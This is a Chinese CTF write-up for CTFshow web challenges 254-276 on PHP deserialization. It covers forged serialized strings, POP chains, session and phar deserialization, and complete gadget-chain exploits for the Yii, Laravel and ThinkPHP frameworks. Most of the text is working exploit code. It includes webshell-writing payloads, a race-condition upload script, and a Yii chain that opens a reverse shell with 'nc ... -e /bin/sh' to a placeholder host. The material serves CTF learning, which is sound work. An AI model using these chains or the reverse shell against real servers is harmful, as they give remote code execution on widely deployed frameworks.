CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞、pop链构造、PHP框架反序列化漏洞、python反序列化漏洞

CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞、pop链构造、PHP框架反序列化漏洞、python反序列化漏洞非反序列化web254-简单审计这个题是搞笑的么????按着源码顺序走一遍……$username=$_GET[‘username’];$password=$_GET[‘password’];if(isset($username)&&isset($password)){$user=newctfShowUser();if($user->login($username,$password)){if($user->c

大家好,又见面了,我是你们的朋友全栈君。

CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞、pop链构造、PHP框架反序列化漏洞、python反序列化漏洞

非反序列化

web254-简单审计

这个题是搞笑的么?

按着源码顺序走一遍

......
$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){ 
   
    $user = new ctfShowUser();
    if($user->login($username,$password)){ 
   
        if($user->checkVip()){ 
   
            $user->vipOneKeyGetFlag();
        }
    }else{ 
   
        echo "no vip,no flag";
    }
}

接受两个参数,生成对象,调用 login 函数

# login 函数
class ctfShowUser{ 
   
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    ......
    public function login($u,$p){ 
   
        if($this->username===$u&&$this->password===$p){ 
   
            $this->isVip=true;
        }
        return $this->isVip;
    }
    ......

payload

?username=xxxxxx&password=xxxxxx

web259-伪造请求

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){ 
   
	die('error');
}else{ 
   
	$token = $_POST['token'];
	if($token=='ctfshow'){ 
   
		file_put_contents('flag.txt',$flag);
	}
}

需要伪造 xff 头

这题和反序列化没关系。。。

image-20210921094256853

然后去浏览器访问 /flag.txt

web260-正则匹配

题目源码

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ 
   
    echo $flag;
}

只要 get 传参反序列化后的字符串有 ctfshow_i_love_36D 就可以

<?php
class ctfshow_i_love_36D{ 
   
}

var_dump(urlencode(serialize(new ctfshow_i_love_36D())));
?>

payload

?ctfshow=O%3A18%3A"ctfshow_i_love_36D"%3A1%3A%7Bs%3A5%3A"isVip"%3Bb%3A1%3B%7D

简单PHP反序列化

web255-简单序列化字符串构造

这次是通过反序列化 cookie 生成对象

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{ 
   
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){ 
   
        return $this->isVip;
    }
    public function login($u,$p){ 
   
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){ 
   
        if($this->isVip){ 
   
            global $flag;
            if($this->username!==$this->password){ 
   
                    echo "your flag is ".$flag;
              }
        }else{ 
   
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){ 
   
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){ 
   
        if($user->checkVip()){ 
   
            $user->vipOneKeyGetFlag();
        }
    }else{ 
   
        echo "no vip,no flag";
    }
}
?>

让 isVip 的值为 ture

去构造序列化,反序列化简单的题还是很简单的,因为方法在反序列化时没法保存,所以只能控制属性

<?php
class ctfShowUser{ 
   
    public $isVip=TRUE;
}

var_dump(serialize(new ctfShowUser()))
?>
    
# O:11:"ctfShowUser":1:{s:5:"isVip";b:1;} 
# 分号需要 url 编码 

改变 cookie 的值,添加 user 字段,可以浏览器F12添加,也可以 burp 抓包添加

image-20210919221407142

添加之后访问 url

/?username=xxxxxx&password=xxxxxx
cookie:user=O:11:"ctfShowUser":1:{s:5:"isVip"%3bb:1%3b}"

得到 flag

web256-简单序列化字符串构造

和上题的基本套路一致,不过 vipOneKeyGetFlag 函数发生了变化

	public function vipOneKeyGetFlag(){ 
   
        if($this->isVip){ 
   
            global $flag;
            if($this->username!==$this->password){ 
   
                    echo "your flag is ".$flag;
              }
        }else{ 
   
            echo "no vip, no flag";
        }
    }

注意就是 username 的值和 password 的值不能相等,其实这点很好实现,因为反序列化后生成的 ctfShowUser 对象的属性是可以控制的,让 username 是任意字符串都可以

<?php
class ctfShowUser{ 
   
    public $username='anything';
    public $isVip=TRUE;}
}
var_dump(serialize(new ctfShowUser()))
?>
    
# O:11:"ctfShowUser":2:{s:8:"username";s:8:"anything";s:5:"isVip";b:1;}
# O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22anything%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D 

image-20210919223805561

web257-魔法方法

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{ 
   
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){ 
   
        $this->class=new info();
    }
    public function login($u,$p){ 
   
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){ 
   
        $this->class->getInfo();
    }

}

class info{ 
   
    private $user='xxxxxx';
    public function getInfo(){ 
   
        return $this->user;
    }
}

class backDoor{ 
   
    private $code;
    public function getInfo(){ 
   
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){ 
   
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

魔法方法他来了,刚才说了方法不能被序列化,但是比如 __construct 魔法方法这种在生成对象时就被调用了,所以在构造序列化字符串时也要考虑

简单的构造方法,就是把类复制,把该删的删掉剩下的改就行了

class ctfShowUser{ 
   
    # 没用到的都可以删掉
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    # 用到了,但是值无关紧要
    public $class = 'info';

    # 构造方法,创建新对象时先调用此方法,适合在使用对象之前做一些初始化工作
    public function __construct(){ 
   
        $this->class=new info();
        # 因为代码执行函数在 backDoor 类,所以这里可以直接 $this->class=new backDoor();
    }
    # 不能序列化
    public function login($u,$p){ 
   
        return $this->username===$u&&$this->password===$p;
    }
    # 析构方法,对象销毁时生效,所以无效
    public function __destruct(){ 
   
        $this->class->getInfo();
    }
}

# 没用到删去
class info{ 
   
    public $user='xxxxxx';
    public function getInfo(){ 
   
        return $this->user;
    }
}

# 要利用的类
class backDoor{ 
   
    # 关键点,code是可以控制的,code有可以执行代码,这里code=恶意代码
    public $code;
    # 方法不能序列化,删除
    public function getInfo(){ 
   
        eval($this->code);
    }
}

最终代码

<?php
class ctfShowUser{ 
   
    private $class;
    public function __construct(){ 
   
        $this->class=new backDoor();
    }
}

class backDoor{ 
   
    private $code='system("tac flag.php");';
    # 要执行的命令
}
var_dump(urlencode(serialize(new ctfShowUser())));
?>
    
# O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

payload

get访问 /?username=xxxxxx&password=xxxxxx
cookie:user=序列化后的字符串

web258-空格绕过正则

在上题的基础上添加了正则过滤

if(isset($username) && isset($password)){ 
   
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ 
   
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

正则意思就是 O:数字 C:数字 等的这种情况不能出现,看下原来的 payload

O:11:"ctfShowUser":1:{s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:23:"system("tac flag.php");";}}

可以在冒号后边加一个空格绕过正则

O%3A%2011%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22ctfShowUserclass%22%3BO%3A%208%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22backDoorcode%22%3Bs%3A23%3A%22system(%22tac%2Bflag.php%22)%3B%22%3B%7D%7D

POP链

web261-__unserialize函数

先上源码

<?php

highlight_file(__FILE__);

class ctfshowvip{ 
   
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){ 
   
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){ 
   
        if($this->username!='' || $this->password!=''){ 
   
            die('error');
        }
    }
    public function __invoke(){ 
   
        eval($this->code);
    }

    public function __sleep(){ 
   
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){ 
   
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){ 
   
        if($this->code==0x36d){ 
   
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

整理下魔术方法

__construct	构造函数会在每次创建新对象时先调用
    
__wakeup    unserialize()函数执行时会检查是否存在一个 __wakeup 方法,如果存在,则先被调用
    
__invoke()	当尝试以调用函数的方式调用一个对象时,该方法会被自动调用
    
__sleep		serialize()函数在执行时会检查是否存在一个`__sleep`魔术方法,如果存在,则先被调用
    
__destruct	析构函数是 php5 新添加的内容,析构函数会在到对象的所有引用都被删除或者当对象被显式销毁时执行
    
__serialize() 函数会检查类中是否存在一个魔术方法 __serialize()。如果存在,该方法将在任何序列化之前优先执行。它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回,如果没有返回数组,将会抛出一个 TypeError 错误
注意:
如果类中同时定义了 __serialize()__sleep() 两个魔术方法,则只有 __serialize() 方法会被调用。 __sleep() 方法会被忽略掉。如果对象实现了 Serializable 接口,接口的 serialize() 方法会被忽略,做为代替类中的 __serialize() 方法会被调用
    
如果类中同时定义了 __unserialize()__wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略

# __serialize 和 __unserialize 特性自 PHP 7.4.0 起可用 

因为存在 __unserialize 函数,所以在 get 传入 vip 的值反序列化时直接调用 __unserialize 而不是 __wakeup 函数

__invoke 方法存在中的 eval 函数,但是却无法利用,但是 __destruct 方法中存在任意文件写入,可以利用写入一句话木马

__unserialize 函数中,code = username 的值拼接了 password 的值

$this->code = $this->username.$this->password;

__destruct 方法 比较了 code 的值,但是此处是双等号弱类型比较可以绕过

        if($this->code==0x36d){ 
   
            file_put_contents($this->username, $this->password);
        }

构造代码

<?php
class ctfshowvip{ 
   
    public $username;
    public $password;

    public function __construct($u,$p){ 
   
        $this->username=$u;
        $this->password=$p;
    }
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
# 最好是先实例化一个对象再序列化
# 877.php==877是成立的(弱类型比较)
var_dump(urlencode(serialize($a)));
# urlencode 将不可见字符编码

使用蚁剑连接,flag 在根目录

跟题目提示的打 Redis 没有关系的

web262-字符串逃逸替换变长

贴源码

<?php

/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 02:37:19 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 16:05:38 # @message.php # @email: h1xa@ctfer.com # @link: https://ctfer.com */
error_reporting(0);
class message{ 
   
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){ 
   
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){ 
   
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

题目注释中有 message.php

highlight_file(__FILE__);
include('flag.php');

class message{ 
   
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){ 
   
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){ 
   
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){ 
   
        echo $flag;
    }
}

也就是说需要改变 token 的值才能得到 flag,接下来就需要找到改变 token 值的方法,index.php 中存在字符替换

$umsg = str_replace('fuck', 'loveU', serialize($msg));

# fuck 替换为 loveU,从四个字符长度替换为五个字符长度

但是要注意替换发生在序列化之后,先来看一个普通的序列化字符串

O:11:"ctfShowUser":1:{ 
   s:5:"isVip";b:1;}

# O 表示序列化类型为 class
# 11 表示类名的长度为11
# 1 表示有一对参数
# s 表示字符串类型,后边的 5 就表示的是字符串的长度
# b 表示Boolean类型true,1就是true

php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化

回去再看传入的三个值:f、m、t,看看生成的序列化字符串

O:7:"message":4:{ 
   s:4:"from";s:1:"f";s:3:"msg";s:1:"m";s:2:"to";s:1:"t";s:5:"token";s:4:"user";}

只要让 t 的值为多个 fuck ,之后替换为 loveU,前边的长度不变,就可以把伪造的含有 admin 的字符串挤出去,替换掉原来的字符串,看下要伪造 admin 字符长度

image-20210921132602931

只需要准备27个 fuck,

"fuck"*27
'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck'

因为 f 和 m 的值没什么用随便传个值就行

payload

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问 manage.php

web263-session反序列化

主页是一个登录界面,使用 dirsearch 扫描发现 www.zip 文件

index.php

<?php
	error_reporting(0);
	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){ 
   
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{ 
   
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}	
?>

注意这里设置 cookie 的时候没有设置 seesion 序列化选择器的,就是 php.ini 中配置的序列化选择器

回顾下三种选择器

选择器 存储格式 样例 $_SESSION[‘name’] = ‘ocean’;
php_serialize 经过 serialize() 函数序列化数组 a:1:{s:4:“name”;s:5:“ocean”;}
php(默认) 键名 竖线 经过 serialize() 函数处理的值 name|s:5:“ocean”;
php_binary 键名的长度对应的ascii字符 键名 serialize() 函数序列化的值 name s:6:“spoock”;

image-20210921152024591

然后 inc.php 中却单独声明使用了 php 序列化选择器,应该出题人改了默认的选择器,不然这里就不会单独声明了,还有一点就是,第六行的 session_start() 函数会解析 session 文件,就相当于进行了反序列化

# inc.php
......
class User{ 
   
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){ 
   
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){ 
   
        $this->status=$s;
    }
    function __destruct(){ 
   
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}
......

User 类中的 file_put_contents 像是一个利用点,

访问首页,抓包可以看到 Cookie:limit 参数,可以把反序列化数据写入 session 文件

因 inc/inc.php 存在 ini_set(‘session.serialize_handler’, ‘php’); 和 session_start(); ,只要访问即会获取之前写入的 session 数据,然后 check.php 包含 inc/inc.php ,即会触发 User类 的 __destruct方法 ,从而把恶意数据通过 file_put_contents 写入名为 log-$this.username ,内容为 $this.password 的文件

<?php
class User{ 
   
    public $username = 'test.php';
    public $password = '<?php system("cat flag.php") ?>';
}
$user = new User();
echo(base64_encode('|'.serialize($user)));
?>

'|' 是因为 session.serialize_handler 使用 php引擎 ,session 关联数组的 keyvalue 是通过 '|' 区分的, value 是需要被反序列化的部分。然后默认不是用 php 引擎,所以写入是正常字符串,在 inc/inc.php 这读取语义又不一样了

具体步骤就是:

  1. 生成 base64 编码序列化字符串

  2. 将字符串在浏览器中保存为cookie(输入cookie,刷新下页面),或者抓包改 cookie:limit 的值

    image-20210921155030824

  3. 请求 check.php 反序列化,生成文件

  4. 访问生成的文件,得到flag

    image-20210921160026647

web264-同262

一开始以为放错题了呢,和262一模一样,仔细瞅才发现,index.php 用的是 session 而不是 setcookie

# index.php
if(isset($f) && isset($m) && isset($t)){ 
   
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg); # 262题是setcookie
    echo 'Your message has been sent';
}

# message.php 
if(isset($_COOKIE['msg'])){ 
   
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){ 
   
        echo $flag;
    }
}

所以说把262题的 payload 直接在 url 传入,访问 message.php 并且带上一个 cookie

image-20210922214129166

web265-引用传参

class ctfshowAdmin{ 
   
    public $token;
    public $password;

    public function __construct($t,$p){ 
   
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){ 
   
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){ 
   
    echo $flag;
}

因为token是随机生成的,不固定,但是如果可以让password的值成为token的引用就行了

这题的考点不是反序列化,而是考察 php 按地址传参

小demo

$a='123';
$b=&$a;
$b=1;
echo $a;

a的值和b的值一起发生改变,因为b变量引用了a变量的地址,两个变量引用的同一地址,所以值是相同的

<?php
class ctfshowAdmin{ 
   
    public function __construct(){ 
   
        $this->password = &$this->token;
    }
}

var_dump(serialize(new ctfshowAdmin()));
?>
    
# string(57) "O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}"

get传入参数即可

web266-大写绕过正则

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{ 
   
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){ 
   
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){ 
   
        return $this->username===$this->password;
    }
    public function __toString(){ 
   
        return $this->username;
    }
    public function __destruct(){ 
   
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){ 
   
    throw new Exception("Error $ctfshowo",1);
}

目的就是触发析构函数,输出flag,然而当反序列化字符串$ctfshowo中如果出现ctfshow关键字时会抛出异常,无法触发析构方法__destruct

但是正则并没有区分大小写,而且php类和方法不区分大小写(变量名区分),可以用大写字母绕过

因为采用了伪协议传参,可以在post中直接序列化字符串

O:7:"Ctfshow":0:{ 
   }

image-20211011185149981

PHP框架漏洞

web267-270yii反序列化漏洞

因为页面加载时加载了yii.js文件,可以作为判断yii框架的依据

image-20211011190008422

右上角点击登录,弱口令admin/admin

在about.php查看源码发现tips,而且页面是通过文件指针r来加载文件

image-20211011190155041

查看提示

image-20211011190338678

可以发现存在反序列化漏洞,对于Yii反序列化漏洞可以看这篇文章,链接

poc

<?php
namespace yii\rest{ 
   
    class CreateAction{ 
   
        public $checkAccess;
        public $id;

        public function __construct(){ 
   
            $this->checkAccess = 'exec';
            $this->id = 'cp /fla* 1.txt';
        }
    }
}

namespace Faker{ 
   
    use yii\rest\CreateAction;

    class Generator{ 
   
        protected $formatters;

        public function __construct(){ 
   
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{ 
   
    use Faker\Generator;

    class BatchQueryResult{ 
   
        private $_dataReader;

        public function __construct(){ 
   
            $this->_dataReader = new Generator;
        }
    }
}
namespace{ 
   
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

生成base64字符串

image-20211011194328510

Yii cve补丁绕过

268,Yii框架,打了补丁,方法和上一题一样,不过payload脚本变了

<?php
namespace yii\rest{ 
   
    class CreateAction{ 
   
        public $checkAccess;
        public $id;

        public function __construct(){ 
   
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}

namespace Faker{ 
   
    use yii\rest\CreateAction;

    class Generator{ 
   
        protected $formatters;

        public function __construct(){ 
   
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{ 
   
    use Faker\Generator;
    class RunProcess{ 
   
        private $processes;
        public function __construct()
        { 
   
            $this->processes = [new Generator()];
        }
    }
}
namespace{ 
   
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

269

<?php
namespace yii\rest{ 
   
    class CreateAction{ 
   
        public $checkAccess;
        public $id;

        public function __construct(){ 
   
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}

namespace Faker{ 
   
    use yii\rest\CreateAction;

    class Generator{ 
   
        protected $formatters;

        public function __construct(){ 
   
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{ 
   

    use Faker\Generator;

    class See{ 
   
        protected $description;
        public function __construct()
        { 
   
            $this->description = new Generator();
        }
    }
}
namespace{ 
   
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{ 
   
        private $keys = [];
        private $path;
        public function __construct()
        { 
   
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

270

<?php
namespace yii\rest { 
   
    class Action
    { 
   
        public $checkAccess;
    }
    class IndexAction
    { 
   
        public function __construct($func, $param)
        { 
   
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web { 
   
    abstract class MultiFieldSession
    { 
   
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    { 
   
        public function __construct($func, $param)
        { 
   
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db { 
   
    use yii\base\BaseObject;
    class BatchQueryResult
    { 
   
        private $_dataReader;
        public function __construct($func, $param)
        { 
   
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace { 
   
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'nc xxx.xxx.xxx.xxx 4567 -e /bin/sh');
    echo(base64_encode(serialize($exp)));
}

web271-laravel5.7反序列化漏洞

image-20211011201939390

师傅写的文章很清楚,链接

poc

<?php

namespace Illuminate\Foundation\Testing { 
   
    class PendingCommand
    { 
   
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        { 
   
            $this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
            $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数 array('id')
        }
    }
}

namespace Faker { 
   
    class DefaultGenerator
    { 
   
        protected $default;

        public function __construct($default = null)
        { 
   
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation { 
   
    class Application
    { 
   
        protected $instances = [];

        public function __construct($instances = [])
        { 
   
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace { 
   
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

    $app = new Illuminate\Foundation\Application();

    $application = new Illuminate\Foundation\Application($app);

    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami'));

    echo urlencode(serialize($pendingcommand));
}

web272-273-laravel5.8反序列化漏洞

PHP/7.1.32框架审计Laravel 5.8反序列化漏洞

<?php
/* Author:monitor description: laravel deserialization chain */
namespace Illuminate\Broadcasting
{ 
   
    class PendingBroadcast{ 
   
        protected $events;
        protected $event;
        public function __construct($events,$event)
        { 
   
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Bus
{ 
   
    class Dispatcher{ 
   
        protected $queueResolver;
        public function __construct($queueResolver)
        { 
   
            $this->queueResolver = $queueResolver;
        }
    }
}

namespace Mockery\Loader
{ 
   
    class EvalLoader{ 
   

    }
}

namespace Mockery\Generator
{ 
   
    class MockDefinition{ 
   
        protected $config;
        protected $code;
        public function __construct($config,$code){ 
   
            $this->config = $config;
            $this->code = $code;
        }
    }
    class MockConfiguration{ 
   
        protected $name;
        public function __construct($name)
        { 
   
            $this->name = $name;
        }
    }
}

namespace Illuminate\Queue
{ 
   
    class CallQueuedClosure{ 
   
        public $connection;
        public function __construct($connection)
        { 
   
            $this->connection = $connection;
        }
    }
}

namespace
{ 
      
    if($argc<2){ 
   
        echo "Description:\n\tUse laravel deserialization to eval php code,don't need to input php tags.";
        echo "\nUsage:" .$argv[0] . " <code>";
        exit();
    }
    $code = $argv[1];
    $mockconfiguration = new Mockery\Generator\MockConfiguration("pass");
    $mockdefination = new Mockery\Generator\MockDefinition($mockconfiguration,"<?php ".$code." exit;?>");
    $callqueuedclosure = new Illuminate\Queue\CallQueuedClosure($mockdefination);
    $evaload = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evaload,"load"));
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$callqueuedclosure);
    echo urlencode(serialize($pendingbroadcast));
}

php index.php system(‘cat$IFS$9/f*’);

生成poc

web274-think PHP5.1反序列化漏洞

image-20211011202605725

文章链接

<?php
namespace think;
abstract class Model{ 
   
    protected $append = [];
    private $data = [];
    function __construct(){ 
   
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{ 
   
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){ 
   
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{ 
   
    private $files = [];

    public function __construct()
    { 
   
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{ 
   
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

在这里插入图片描述

PHP其他反序列化

web275-命令执行

<?php
class filter{ 
   
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){ 
   
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){ 
   
        if(preg_match('/php|\.\./i', $this->filename)){ 
   
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){ 
   
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){ 
   
        if($this->evilfile){ 
   
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){ 
   
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){ 
   
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{ 
   
    echo 'where is flag?';
}
?>

基本步骤就是,传入参数,创建filter对象,析构函数中存在命令执行,只要让 evilfiletrue,就可以利用system函数,这两个过滤成立一个就行

image-20211011211723089

执行命令

image-20211011211845414

get:/?fn=;cat%20flag.php;
post:flag

web276-phar反序列化+条件竞争

class filter{ 
   
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){ 
   
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){ 
   
        if(preg_match('/php|\.\./i', $this->filename)){ 
   
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){ 
   
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){ 
   
        if($this->evilfile && $this->admin){ 
   
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){ 
   
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){ 
   
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{ 
   
    echo 'where is flag?';
}

比上题的命令执行处多了判断 $this->admin,然而没有 unserialize 函数 admin 又是不可控的

发现可以通过 file_put_contents 写 phar 文件,然后题目中 file_put_contents 第一个参数可控,那么我们可以使用 phar:// 协议,通过 $content 传入 phar 数据,这样在 PHP 通过 phar:// 协议解析数据时,会将 meta-data 部分进行反序列化

不止 file_put_contents,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,受影响的函数如下

图片

不过题目会删除文件,所以需要在删除文件前执行文件进行以上操作,因此要用到条件竞争,即生成了 phar 文件,在极短时间内文件是存在的,因为执行到 unlink 函数前还有一个 copy 文件操作,磁盘 io 是需要一定时间的。只要我们不断在写入 phar 文件,那么这个文件就可以断断续续访问到

关于 phar 协议的使用可以参考这篇文章,LINK

poc

phar构造如下,会在当前目录生成 evil.phar 文件

<?php
class filter 
{ 
   
    public $filename = ';cat fl*';
    public $evilfile = true;
    public $admin = true;
}

// 后缀必须为phar
$phar = new Phar("evil.phar");
$phar->startBuffering();
// 设置 stubb, 增加 gif 文件头
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
/** * 将自定义的 meta-data 存入 manifest * 这个函数需要在php.ini中修改 phar.readonly 为 Off * 否则的话会抛出 * creating archive "***.phar" disabled by the php.ini setting phar.readonly * 异常. */
$phar->setMetadata($o);
// 添加需压缩的文件
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

条件竞争,py3脚本

import base64
import requests
import threading

flag = False
url = 'http://0f5a5b64-ef6b-4317-b093-3f2fc62f1df9.challenge.ctf.show:8080/'
data = open('./evil.phar', 'rb').read()

pre_resp = requests.get(url)
if pre_resp.status_code != 200:
    print(url + '\n链接好像挂了....')
    exit(1)

def upload():
    requests.post(url+"?fn=evil.phar", data=data)


